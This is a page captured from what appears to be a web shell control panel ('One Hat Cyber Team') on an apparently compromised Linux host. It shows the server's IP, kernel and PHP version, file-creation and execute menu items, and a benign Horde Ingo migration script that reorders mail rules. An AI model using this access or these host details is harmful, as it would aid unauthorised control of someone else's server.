⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
ingo
/
migration
/
View File Name :
7_ingo_fix_rule_order.php
* @category Horde * @license http://www.horde.org/licenses/apache ASL * @package Ingo */ class IngoFixRuleOrder extends Horde_Db_Migration_Base { /** * Upgrade. */ public function up() { $sql = 'SELECT rule_id, rule_owner, rule_order FROM ingo_rules ORDER BY rule_owner, rule_order'; $update = 'UPDATE ingo_rules SET rule_order = ? WHERE rule_owner = ? AND rule_id = ?'; $results = $this->_connection->selectAll($sql); $owner = ''; foreach ($results as $row) { if ($owner != $row['rule_owner']) { $owner = $row['rule_owner']; $order = 0; } if ($row['rule_order'] != $order++) { $this->_connection->update($update, array($order - 1, $owner, $row['rule_id'])); } } } /** * Downgrade */ public function down() { } }